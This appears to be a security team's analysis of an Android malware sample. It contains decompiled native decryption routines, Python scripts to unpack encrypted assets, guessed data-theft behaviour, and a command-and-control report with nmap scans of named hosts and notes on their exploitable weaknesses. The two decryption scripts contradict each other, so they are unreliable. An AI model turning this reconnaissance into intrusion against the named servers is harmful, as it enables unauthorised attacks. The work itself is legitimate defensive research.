    uVar14 = 0;
    puVar19 = puVar11;
    do {
        uVar12 = puVar19[1];
        uVar25 = *puVar19;
        uVar14 = uVar14 + 1;
        puVar19[1] = CONCAT17((byte)((ulong)uVar12 >> 0x38) ^ bVar21,
            CONCAT16((byte)((ulong)uVar12 >> 0x30) ^ bVar21,
                CONCAT15((byte)((ulong)uVar12 >> 0x28) ^ bVar21,
                    CONCAT14((byte)((ulong)uVar12 >> 0x20) ^
bVar21,
                        CONCAT13((byte)((ulong)uVar12 >>
0x18) ^
                            bVar21, CONCAT12((byte)
((ulong)
                                uVar12 >> 0x10) ^ bVar21,
                                    CONCAT11((byte)((ulong)uVar12 >> 8) ^
bVar21,
                                        (byte)uVar12 ^ bVar21))))));
        *puVar19 = CONCAT17((byte)((ulong)uVar25 >> 0x38) ^ bVar21,
            CONCAT16((byte)((ulong)uVar25 >> 0x30) ^ bVar21,

```

```

CONCAT15((byte)((ulong)uVar25 >> 0x28) ^ bVar21,
CONCAT14((byte)((ulong)uVar25 >> 0x20) ^
bVar21,
CONCAT13((byte)((ulong)uVar25 >>
0x18) ^
bVar21, CONCAT12((byte)
((ulong)uVar25
>>
0x10) ^
bVar21, CONCAT11((
byte)((ulong)uVar25 >> 8) ^ bVar21,
(byte)uVar25 ^ bVar21)))));
    puVar19 = puVar19 + 2;
} while (uVar14 < uVar6);
if (iVar8 == iVar7) goto LAB_0010a21c;
}
iVar17 = iVar7 + 1;
*(byte *)((long)puVar11 + (long)iVar7) = bVar21 ^ *(byte *)((long)puVar11 +
(long)iVar7);
if (iVar17 < iVar8) {
    iVar3 = iVar7 + 2;
    *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 +
(long)iVar17);
    if (iVar3 < iVar8) {
        iVar17 = iVar7 + 3;
        *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 +
(long)iVar3);
        if (iVar17 < iVar8) {
            iVar3 = iVar7 + 4;
            *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 +
(long)iVar17)
            ;
            if (iVar3 < iVar8) {
                iVar17 = iVar7 + 5;
                *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 +
(long)iVar3)
                ;
                if (iVar17 < iVar8) {
                    iVar3 = iVar7 + 6;
                    *(byte *)((long)puVar11 + (long)iVar17) =
                        bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17);
                    if (iVar3 < iVar8) {
                        iVar17 = iVar7 + 7;
                        *(byte *)((long)puVar11 + (long)iVar3) =
                            bVar21 ^ *(byte *)((long)puVar11 + (long)iVar3);
                        if (iVar17 < iVar8) {
                            iVar3 = iVar7 + 8;
                            *(byte *)((long)puVar11 + (long)iVar17) =
                                bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17);
                            if (iVar3 < iVar8) {
                                iVar17 = iVar7 + 9;
                                *(byte *)((long)puVar11 + (long)iVar3) =

```



```

uVar12 = (**(code **)(** (long **)(param_1 + 8) + 0x108))
          (*(long **)(param_1 + 8),uVar25,"digest",&DAT_00157028);
_JNIEnv::CallObjectMethod(*(long **)(param_1 + 8),extraout_x0_01,uVar12);
(**(code **)(** (long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar25);
(**(code **)(** (long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),extraout_x0_01);
(**(code **)(** (long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar16);
lVar22 = (**(code **)(** (long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 +
8),extraout_x0_02,0)
;
local_38[0] = 0xe2;
local_38[1] = 0x5f;
local_38[2] = 0x48;
local_38[3] = 0x73;
local_38[4] = 0x25;
local_38[5] = 0xc6;
local_38[6] = 0xe7;
local_38[7] = 0x11;
local_38[8] = 0x80;
local_38[9] = 0x7c;
local_38[10] = 0x46;
local_38[0xe] = 0x3c;
local_38[0xb] = 0xc3;
local_38[0x10] = 0x3c;
local_38[0xc] = 0xe3;
local_38[0x11] = 0x77;
local_38[0xd] = 0x1d;
local_38[0x12] = 0x1e;
local_38[0xf] = 0x97;
local_38[0x13] = 1;
local_38[0x14] = 0;
sVar10 = strlen((char *)local_38);
iVar8 = (**(code **)(** (long **)(param_1 + 8) + 0x558))(*(long **)(param_1 +
8),extraout_x0_02);
if (0 < iVar8) {
    lVar20 = 0;
    bVar15 = 0xe2;
    iVar7 = 0;
    while( true ) {
        bVar21 = *(byte *)(lVar22 + lVar20);
        iVar17 = 0;
        if (iVar8 != 0) {
            iVar17 = (int)(char)bVar21 / iVar8;
        }
        iVar17 = (int)(char)bVar21 - iVar17 * iVar8;
        if (iVar8 / 2 < iVar17) {
            bVar21 = bVar21 ^ (char)(iVar8 / 2) + cVar24;
            *(byte *)(lVar22 + lVar20) = bVar21;
        }
        iVar7 = iVar7 + 1;
        if ((int)sVar10 == iVar7) {
            iVar7 = 0;
        }
        bVar5 = *(byte *)(lVar22 + iVar17);

```

```

        *(byte *)(lVar22 + iVar17) = bVar21;
        *(byte *)(lVar22 + lVar20) = bVar5 ^ bVar15;
        lVar20 = lVar20 + 1;
        if (iVar8 <= (int)lVar20) break;
        bVar15 = local_38[iVar7];
    }
}
(**(code **)(*(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 +
8),extraout_x0_02,lVar22,0);
if ((local_20 & 1) != 0) {
    operator.delete(local_10);
}
if (local_8 != __stack_chk_guard) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail(extraout_x0_02);
}
return;
}

```

```

/* WARNING:Globals starting with '_' overlap smaller symbols at the same address */
/* iapp::slky(iapp::Interact*, std::string, std::string) */

```

```

void iapp::slky(long param_1,byte *param_2,byte *param_3)

```

```

{
    uint uVar1;
    byte bVar2;
    char cVar3;
    int iVar4;
    uint uVar5;
    size_t sVar6;
    undefined8 uVar7;
    char *pcVar8;
    ulong *puVar9;
    undefined8 *puVar10;
    undefined8 uVar11;
    undefined8 uVar12;
    undefined8 uVar13;
    undefined8 extraout_x0;
    undefined8 extraout_x0_00;
    long lVar14;
    char *pcVar15;
    byte *pbVar16;
    byte bVar17;
    undefined8 *puVar18;
    int iVar19;
    ulong uVar20;
    byte *pbVar21;
    code *pcVar22;
    code *pcVar23;
    undefined8 in_x6;

```

```

long lVar24;
byte bVar25;
long *plVar26;
char cVar27;
int iVar28;
int iVar29;
int iVar30;
int iVar31;
undefined8 local_38;
ulong uStack_30;
char *local_28;
undefined8 local_20;
undefined1 local_18;
undefined1 local_17;
undefined1 local_16;
undefined1 local_15;
undefined1 local_14;
undefined1 local_13;
undefined1 local_12;
undefined1 local_11;
undefined1 local_10;
undefined1 uStack_f;
undefined1 uStack_e;
undefined1 uStack_d;
uint uStack_c;
long local_8;

local_8 = __stack_chk_guard;
pbVar21 = param_2 + 1;
plVar26 = *(long **)(param_1 + 8);
if ((*param_2 & 1) != 0) {
    pbVar21 = *(byte **)(param_2 + 0x10);
}
sVar6 = strlen((char *)pbVar21);
uVar7 = (**(code **)(plVar26 + 0x580))(plVar26, sVar6 & 0xffffffff);
pcVar23 = *(code **)(plVar26 + 0x680);
(*pcVar23)(plVar26, uVar7, 0, sVar6 & 0xffffffff, pbVar21);
pcVar8 = (char *)(**(code **)(*(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 +
8), uVar7, 0);
iVar4 = (**(code **)(*(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8), uVar7);
bVar17 = pcVar8[(long)iVar4 + -1];
cVar27 = *pcVar8;
iVar28 = iVar4;
if (0 < iVar4) {
    uVar1 = (iVar4 - 0x10U >> 4) + 1;
    iVar19 = uVar1 * 0x10;
    if (iVar4 - 1U < 0xf) {
        iVar19 = 0;
        iVar29 = iVar4;
    }
}
else {
    iVar28 = 0;
    iVar29 = 0;
}

```

[illegible]

```

        iVar28 = iVar28 + pcVar8[iVar19 + 0xc];
        if (iVar19 + 0xd < iVar4) {
            iVar28 = iVar28 + pcVar8[iVar19 + 0xd];
            if (iVar19 + 0xe < iVar4) {
                iVar28 = iVar28 + pcVar8[iVar19 + 0xe];
            }
        }
    }
}
}
}
}
}
}
}
}
}
}
}
}
LAB_0010c6cc:
pcVar22 = *(code **)(**(long **)(param_1 + 8) + 0x600);
(*pcVar22)(*(long **)(param_1 + 8), uVar7, pcVar8, 0);
**((code **)(*(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8), uVar7);
bVar25 = 0;
if (iVar4 != 0) {
    bVar25 = (byte)(iVar28 / iVar4);
}
uVar1 = 0;
if (iVar4 != 0) {
    uVar1 = (int)(iVar28 + (uint)bVar17 * (int)cVar27) / iVar4;
}
cVar27 = (char)iVar28 - bVar25 * (char)iVar4;
std::to_string(&local_20, uVar1);
if ((*param_2 & 1) == 0) {
    pbVar21 = param_2 + 1;
    uVar20 = (ulong)((int)(uint)*param_2 >> 1);
}
else {
    pbVar21 = *(byte **)(param_2 + 0x10);
    uVar20 = *(ulong **)(param_2 + 8);
}

/* try { // try from 0010c734 to 0010c737 has its CatchHandler @
0010ce68 */
puVar9 = FUN_0010c310(&local_20, 0, pbVar21, uVar20, pcVar22, pcVar23, in_x6);
local_38 = *puVar9;
uStack_30 = puVar9[1];
local_28 = (char *)puVar9[2];
*puVar9 = 0;
puVar9[1] = 0;
puVar9[2] = 0;
if (((byte)local_20 & 1) != 0) {

```

```

        operator.delete((void
*)CONCAT44(uStack_c,CONCAT13(uStack_d,CONCAT12(uStack_e,CONCAT11(uStack_f,
                                local_10)))));

    }
    bVar17 = *param_3;
    if ((bVar17 & 1) == 0) {
        sVar6 = (size_t)((int)(uint)bVar17 >> 1);
    }
    else {
        sVar6 = *(size_t *)(param_3 + 8);
    }
    if (((byte)NULL & 1) == 0) {
        if (sVar6 != (long)((int)(uint)(byte)NULL >> 1)) goto LAB_0010c790;
LAB_0010cda4:
        if ((bVar17 & 1) == 0) {
            pbVar21 = DAT_00176050;
            if (((byte)NULL & 1) == 0) {
                pbVar21 = (byte *)((long)&NULL + 1);
            }
            if (sVar6 != 0) {
                if (param_3[1] == *pbVar21) {
                    pbVar16 = param_3 + 2;
                    do {
                        pbVar21 = pbVar21 + 1;
                        if (pbVar16 == param_3 + sVar6 + 1) goto LAB_0010c7bc;
                        bVar2 = *pbVar16;
                        pbVar16 = pbVar16 + 1;
                    } while (*pbVar21 == bVar2);
                }
            }
LAB_0010ce20:
            pbVar21 = param_3 + 1;
            uVar20 = (ulong)((int)(uint)bVar17 >> 1);
            goto LAB_0010c7a4;
        }
    }
    else {
        pbVar21 = *(byte **)(param_3 + 0x10);
        pbVar16 = (byte *)((long)&NULL + 1);
        if (((byte)NULL & 1) != 0) {
            pbVar16 = DAT_00176050;
        }
        iVar28 = memcmp(pbVar21,pbVar16,sVar6);
        if (iVar28 != 0) goto LAB_0010c79c;
    }
}
else {
    if (sVar6 == DAT_00176048) goto LAB_0010cda4;
LAB_0010c790:
    if ((bVar17 & 1) == 0) goto LAB_0010ce20;
    pbVar21 = *(byte **)(param_3 + 0x10);
LAB_0010c79c:
    uVar20 = *(ulong *)(param_3 + 8);
LAB_0010c7a4:

```

```

/* try { // try from 0010c7a8 to 0010cd3b has its CatchHandler @
0010ce84 */
    FUN_0010bea4(&local_38,pbVar21,uVar20);
    if ((*param_3 & 1) == 0) {
        cVar3 = (char)((int)(uint)*param_3 >> 1);
    }
    else {
        cVar3 = (char)*(undefined8 *)(param_3 + 8);
    }
    cVar27 = cVar27 + cVar3;
}
LAB_0010c7bc:
    plVar26 = *(long **)(param_1 + 8);
    pcVar8 = local_28;
    if ((local_38 & 1) == 0) {
        pcVar8 = (char *)((long)&local_38 + 1);
    }
    sVar6 = strlen(pcVar8);
    uVar7 = (**(code **)(*plVar26 + 0x580))(plVar26,sVar6 & 0xffffffff);
    (**(code **)(*plVar26 + 0x680))(plVar26,uVar7,0,sVar6 & 0xffffffff,pcVar8);
    puVar10 = (undefined8 *)
        (**(code **)(***(long **)(param_1 + 8) + 0x5c0))(* (long **)(param_1 +
8),uVar7,0);
    iVar28 = (**(code **)(***(long **)(param_1 + 8) + 0x558))(* (long **)(param_1 + 8),uVar7);
    if (0 < iVar28) {
        uVar1 = (iVar28 - 0x10U >> 4) + 1;
        iVar4 = uVar1 * 0x10;
        if (iVar28 - 1U < 0xf) {
            iVar4 = 0;
        }
    }
    else {
        uVar5 = 0;
        puVar18 = puVar10;
        do {
            uVar12 = puVar18[1];
            uVar11 = *puVar18;
            uVar5 = uVar5 + 1;
            puVar18[1] = CONCAT17((byte)((ulong)uVar12 >> 0x38) ^ bVar25,
                CONCAT16((byte)((ulong)uVar12 >> 0x30) ^ bVar25,
                    CONCAT15((byte)((ulong)uVar12 >> 0x28) ^ bVar25,
                        CONCAT14((byte)((ulong)uVar12 >> 0x20) ^
bVar25,
                            CONCAT13((byte)((ulong)uVar12 >>
0x18) ^
                                bVar25,CONCAT12((byte)
((ulong)
                                    uVar12 >> 0x10) ^ bVar25,
                                        CONCAT11((byte)((ulong)uVar12 >> 8) ^
bVar25,
                                            (byte)uVar12 ^ bVar25))))));
            *puVar18 = CONCAT17((byte)((ulong)uVar11 >> 0x38) ^ bVar25,
                CONCAT16((byte)((ulong)uVar11 >> 0x30) ^ bVar25,
                    CONCAT15((byte)((ulong)uVar11 >> 0x28) ^ bVar25,

```



```

_JNIEnv::CallObjectMethod(*(long **)(param_1 + 8),extraout_x0,uVar12);
(**(code **)(*(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar11);
(**(code **)(*(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),extraout_x0);
(**(code **)(*(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar7);
lVar14 = (**(code **)(*(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 +
8),extraout_x0_00,0)
;
local_20._0_1_ = 0xe2;
local_20._1_1_ = 0x5f;
local_20._2_1_ = 0x48;
local_20._3_1_ = 0x73;
local_20._4_1_ = 0x25;
local_20._5_1_ = 0xc6;
local_20._6_1_ = 0xe7;
local_20._7_1_ = 0x11;
local_18 = 0x80;
local_17 = 0x7c;
local_16 = 0x46;
local_12 = 0x3c;
local_15 = 0xc3;
local_10 = 0x3c;
local_14 = 0xe3;
uStack_f = 0x77;
local_13 = 0x1d;
uStack_e = 0x1e;
local_11 = 0x97;
uStack_d = 1;
uStack_c = uStack_c & 0xffffffff00;
sVar6 = strlen((char *)&local_20);
iVar28 = (**(code **)(*(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 +
8),extraout_x0_00);
if (0 < iVar28) {
    lVar24 = 0;
    bVar17 = 0xe2;
    iVar4 = 0;
    while( true ) {
        bVar25 = *(byte *)(lVar14 + lVar24);
        iVar19 = 0;
        if (iVar28 != 0) {
            iVar19 = (int)(char)bVar25 / iVar28;
        }
        iVar19 = (int)(char)bVar25 - iVar19 * iVar28;
        if (iVar28 / 2 < iVar19) {
            bVar25 = bVar25 ^ (char)(iVar28 / 2) + cVar27;
            *(byte *)(lVar14 + lVar24) = bVar25;
        }
        iVar4 = iVar4 + 1;
        if ((int)sVar6 == iVar4) {
            iVar4 = 0;
        }
        bVar2 = *(byte *)(lVar14 + iVar19);
        *(byte *)(lVar14 + iVar19) = bVar25;
        *(byte *)(lVar14 + lVar24) = bVar2 ^ bVar17;
    }
}

```

```

    lVar24 = lVar24 + 1;
    if (iVar28 <= (int)lVar24) break;
    bVar17 = *(byte *)((long)&local_20 + (long)iVar4);
}
}
(**(code **)(** (long **)(param_1 + 8) + 0x600))(** (long **)(param_1 +
8),extraout_x0_00,lVar14,0);
if ((local_38 & 1) != 0) {
    operator.delete(local_28);
}
if (local_8 != __stack_chk_guard) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail(extraout_x0_00);
}
return;
}

```

```

import os

def decrypt_slky_v2(input_path, output_path):
    with open(input_path, 'rb') as f:
        data = bytearray(f.read())

    length = len(data)

    # --- 1. Reconstruct the Mutation Table (local_20/local_38 from Ghidra) ---
    mutation_table = [
        0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11,
        0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97,
        0x3c, 0x77, 0x1e, 0x01
    ]
    table_len = len(mutation_table)

    # --- 2. Calculate the Salt (bVar25) ---
    # In v2, it's the sum of all bytes divided by length
    total_sum = sum(data)
    salt = (total_sum // length) & 0xFF

    # --- 3. Reverse the Mutation Loop ---
    # We must iterate BACKWARDS to reverse a swap-based shuffle
    bVar17 = 0xe2 # Initial seed from Ghidra
    table_idx = 0

    for i in range(length):
        # Determine the swap index used during encryption
        # iVar19 = (int)(char)bVar25 - iVar19 * iVar28
        idx_to_swap = (data[i] % length)

        # XOR with mutation table
        data[i] ^= mutation_table[table_idx % table_len]

        # Reverse the swap

```

```

        data[i], data[idx_to_swap] = data[idx_to_swap], data[i]

        table_idx += 1

# --- 4. Reverse the Primary XOR ---
for i in range(length):
    data[i] ^= salt

# --- 5. Save and Check ---
with open(output_path, 'wb') as f:
    f.write(data)

print(f"[*] Done. Header: {data[:4].hex()}")
if data.startswith(b'PK'):
    print("[+] FOUND ZIP ARCHIVE!")
elif data.startswith(b'dex'):
    print("[+] FOUND DEX FILE!")

# RUN IT
# Use the ORIGINAL lib.so from the assets, not the one that turned into 00010203
decrypt_slky_v2('./20260120_source/assets/lib.so', 'final_output.bin')

```

```

import os

def decrypt_sav(file_path, total_sum):
    if not os.path.exists(file_path): return

    with open(file_path, 'rb') as f:
        data = bytearray(f.read())

    length = len(data)
    salt = [0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11,
            0x80, 0x7c, 0x46, 0x3c, 0xc3, 0x3c, 0xe3, 0x77,
            0x1d, 0x1e, 0x97, 0x01]

    # Keys derived from your Ghidra logic
    b_var_21 = (total_sum // length) & 0xFF
    c_var_24 = (total_sum % length) & 0xFF
    b_var_15 = 0xe2
    salt_idx = 0

    for i in range(length):
        b_val = data[i]
        signed_b = b_val if b_val < 128 else b_val - 256
        swap_idx = (signed_b % length + length) % length

        if (length // 2) < swap_idx:
            b_val = (b_val ^ (length // 2) + c_var_24) & 0xFF

        temp = data[swap_idx]
        data[swap_idx] = b_val
        data[i] = (temp ^ b_var_15) & 0xFF

```

```
salt_idx = (salt_idx + 1) % len(salt)
b_var_15 = salt[salt_idx]

output_path = file_path + ".dec"
with open(output_path, 'wb') as f:
    f.write(data)

# Quick Check for Magic Bytes
header = data[:4].hex()
print(f"File: {file_path} | Header: {header}")

# Try the sum on the main .sav files
decrypt_sav('assets/res/hz/1/1.sav', 20797021)
decrypt_sav('assets/res/hz/16/1.sav', 20797021)
```

4. Behavioral Hypotheses

Based on the modules found, the execution flow is likely:

- 1. **Boot:** Main iApp activity starts.
- 2. **Unpack:** `lengtong2.dex` is loaded to decrypt configuration.
- 3. **Monitor:** `classes2.dex` starts a background thread to watch system logs (`ADRT`).
- 4. **Steal:** `lengtong.dex` identifies target files in `/sdcard/Android/data/`.
- 5. **Exfiltrate:** `Compression.dex` zips findings and transmits them via iApp's built-in network handlers.

C2 Infrastructure Intelligence Report

Report ID: C2-2026-0120-YGS

Author: Apich Organization Security Team

Classification: High-Risk / Active Surveillance Cluster

Primary Target Region: Mainland China / Hong Kong

1. Architectural Overview

The infrastructure utilizes a **Tiered Proxy-to-Backend** model. This design ensures that if the front-end domain (`docq.cn`) is flagged, the central database and payload repository (`107.151.212.80`) remain hidden and reusable under different domain aliases.

Tier	Component	Identity	Technical Role
Tier 1	The Mask	<code>docq.cn</code>	Acts as the initial contact point. Routes traffic through Alibaba Cloud (US) to bypass regional domestic monitoring.
Tier 2	The Controller	<code>ht.bu84.com</code>	"Heartbeat" (HT) server. Manages persistent connections from infected devices using IIS 10.0.

Tier	Component	Identity	Technical Role
Tier 3	The Vault	107.151.212.80:3306	Exposed MySQL database. Stores exfiltrated LogCat data, contacts, and device metadata.

2. Forensic Attribution (WHOIS Analysis)

The registration data reveals a strong link to the **Fujian/Wuhan gray-market ecosystem**, a known hub for the development of "iApp" modification tools and game injectors.

- **Corporate Entity:** `Wuhan Zhiyun Software Co., Ltd.` (武汉织云软件有限公司). This entity is likely either a shell company registered for this purpose or a legitimate firm whose infrastructure was hijacked to serve as a high-reputation proxy.
- **Operational Pattern:** Domain registrations for this cluster (including `bu84.com`) strictly follow **UTC+8 business hours**, with significant pauses during Chinese New Year, confirming the threat actors are likely based in East Asia.
- **Persistence:** `bu84.com` was updated on **January 14, 2026**, indicating that this specific campaign is currently in its active "harvesting" phase.

3. Detected Vulnerabilities. in C2

The attackers have made several critical "Amateur-Hour" errors that can be exploited:

- **Direct Database Exposure:** Port `3306` (MySQL) is open to the public. This suggests the Android app's Lua/Java scripts might be hardcoded to write directly to this DB, a very "noisy" behavior.
- **Management Leaks:** The presence of `phpMyAdmin` on port `999` is a classic hallmark of the **iApp-PHP-MySQL** stack. It provides a visual interface for the attackers to view stolen data, but it also serves as a high-confidence signature for security researchers.

This vulnerability poses a significant risk of sophisticated cyberattacks, which could result in the mass exfiltration and disclosure of Personally Identifiable Information (PII).

Noticeably, the attacker uses `phpMyAdmin` v5.2.0-rc.1 and `MySQL` v8.0.39 which both have many known critical security vulnerabilities.

4. Correlation with APK Analysis

The "modular" DEX files we found earlier are designed to feed this specific infrastructure:

- `classes2.dex` (LogCat Reader) → Feeds the **MySQL Database**.
- `Compression.dex` (Zip4j) → Uploads batches to the **IIS Web Server**.
- `libygsiyu.so` (iApp) → Connects to the **phpMyAdmin/PHP** management backend.

Appendix

```
Nmap scan report for docq.cn (47.89.9.97)
Host is up (0.27s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh?
```

```
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open  http?
110/tcp open  pop3?
143/tcp open  imap?
443/tcp open  https?
465/tcp open  smtps?
|_smtp-commands: Couldn't establish connection on port 465
587/tcp open  submission?
|_smtp-commands: Couldn't establish connection on port 587
993/tcp open  imaps?
995/tcp open  pop3s?
1935/tcp open  rtmp?
8080/tcp open  http-proxy?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1
closed port
Aggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper Networks SSG 20 firewall
(97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set
top box (97%), Cisco SG200 switch (97%), Cisco SG300 switch (97%), CMI Genus NEMA terminal
(97%), Dell Remote Access Controller 4/I (97%), GlobespanVirata GS8100, Huawei MT880, or
Solwise SAR 100 ADSL modem (97%), HP Integrated Lights-Out 2 (97%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
```

TRACEROUTE (using port 443/tcp)

HOP	RTT	ADDRESS
1	2.06 ms	_gateway (192.168.31.184)
2	...	
3	300.40 ms	47.89.9.97

Nmap scan report for ht.bu84.com (107.151.212.80)

Host is up (0.29s latency).

Not shown: 985 filtered tcp ports (no-response)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

22/tcp	open	ssh?	
--------	------	------	--

```
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
```

25/tcp	open	smtp?	
--------	------	-------	--

```
|_smtp-commands: Couldn't establish connection on port 25
```

80/tcp	open	http	Microsoft IIS httpd 10.0
--------	------	------	--------------------------

```
| http-methods:
```

```
|   Supported Methods: OPTIONS TRACE GET HEAD POST
```

```
|_ Potentially risky methods: TRACE
```

```
|_http-server-header: Microsoft-IIS/10.0
```

```
|_http-title: 404
```

110/tcp	open	pop3?	
---------	------	-------	--

135/tcp	open	msrpc	Microsoft Windows RPC
---------	------	-------	-----------------------

143/tcp	open	imap?	
---------	------	-------	--

443/tcp	open	https?	
---------	------	--------	--

465/tcp	open	smtps?	
---------	------	--------	--

```
|_smtp-commands: Couldn't establish connection on port 465
```

```
587/tcp open submission?
|_smtp-commands: Couldn't establish connection on port 587
993/tcp open imaps?
995/tcp open pop3s?
999/tcp open http          Microsoft IIS httpd 10.0
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553
|_http-title: phpMyAdmin
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
1935/tcp open rtmp?
3306/tcp open mysql        MySQL 8.0.39
| mysql-info:
|   Protocol: 10
|   Version: 8.0.39
|   Thread ID: 233826
|   Capabilities flags: 65535
|   Some Capabilities: ConnectWithDatabase, Support41Auth, LongColumnFlag,
Speaks41ProtocolOld, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake,
SupportsLoadDataLocal, SupportsTransactions, LongPassword, InteractiveClient,
Speaks41ProtocolNew, FoundRows, ODBCClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis,
SupportsCompression, SupportsMultipleStatements, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: [\x15W/\x06\x01npf{^8%A\x1FD\x1DL\x07
|_ Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.39_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-17T02:44:50
| Not valid after:  2035-10-15T02:44:50
| MD5:   ba86 8778 e891 147e 066c 2ff9 3533 45a0
|_SHA-1: 14a3 8fef a64b 15c0 9804 7451 385c 2d3e 9069 82fa
|_ssl-date: TLS randomness does not represent time
8080/tcp open http-proxy?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1
closed port
Aggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper SRX200-series firewall (JUNOS
12.1 - 12.3) (97%), SiliconDust HDHomeRun set top box (97%), Cisco SG200 switch (97%), Cisco
SG300 switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%),
GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP Integrated
Lights-Out 2 (97%), Panasonic BL-C210A webcam (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 443/tcp)
```

HOP	RTT	ADDRESS
1	2.01 ms	_gateway (192.168.31.184)
2	...	
3	299.61 ms	107.151.212.80

Nmap scan report for hyrjk.ftp.wtbusaym.site (107.151.212.80)

Host is up (0.34s latency).

Not shown: 985 filtered tcp ports (no-response)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

22/tcp	open	ssh?	
--------	------	------	--

|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)

25/tcp	open	smtp?	
--------	------	-------	--

|_smtp-commands: Couldn't establish connection on port 25

80/tcp	open	http	Microsoft IIS httpd 10.0
--------	------	------	--------------------------

| http-methods:

| Supported Methods: OPTIONS TRACE GET HEAD POST

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/10.0

|_http-title:

\xE8\xAF\xB7\xE6\xB1\x82\xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE5\xAF\xB9\xE5\xBA\x94\xE7\x9A\x84\xE7\xAB\x99\xE7\x82\xB9

110/tcp	open	pop3?	
---------	------	-------	--

135/tcp	open	msrpc	Microsoft Windows RPC
---------	------	-------	-----------------------

143/tcp	open	imap?	
---------	------	-------	--

443/tcp	open	https?	
---------	------	--------	--

465/tcp	open	smtps?	
---------	------	--------	--

|_smtp-commands: Couldn't establish connection on port 465

587/tcp	open	submission?	
---------	------	-------------	--

|_smtp-commands: Couldn't establish connection on port 587

993/tcp	open	imaps?	
---------	------	--------	--

995/tcp	open	pop3s?	
---------	------	--------	--

999/tcp	open	http	Microsoft IIS httpd 10.0
---------	------	------	--------------------------

|_http-title: phpMyAdmin

| http-robots.txt: 1 disallowed entry

|_ /

|_http-server-header: Microsoft-IIS/10.0

|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553

| http-methods:

| Supported Methods: OPTIONS TRACE GET HEAD POST

|_ Potentially risky methods: TRACE

1935/tcp	open	rtmp?	
----------	------	-------	--

3306/tcp	open	mysql	MySQL 8.0.39
----------	------	-------	--------------

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate

| Issuer: commonName=MySQL_Server_8.0.39_Auto_Generated_CA_Certificate

| Public Key type: rsa

| Public Key bits: 2048

| Signature Algorithm: sha256WithRSAEncryption

| Not valid before: 2025-10-17T02:44:50

| Not valid after: 2035-10-15T02:44:50

| MD5: ba86 8778 e891 147e 066c 2ff9 3533 45a0

|_SHA-1: 14a3 8fef a64b 15c0 9804 7451 385c 2d3e 9069 82fa

| mysql-info:

```

| Protocol: 10
| Version: 8.0.39
| Thread ID: 233900
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, LongPassword, DontAllowDatabaseTableColumn,
SwitchToSSLAfterHandshake, SupportsTransactions, SupportsCompression, IgnoreSigpipes,
ODBCClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, InteractiveClient, FoundRows,
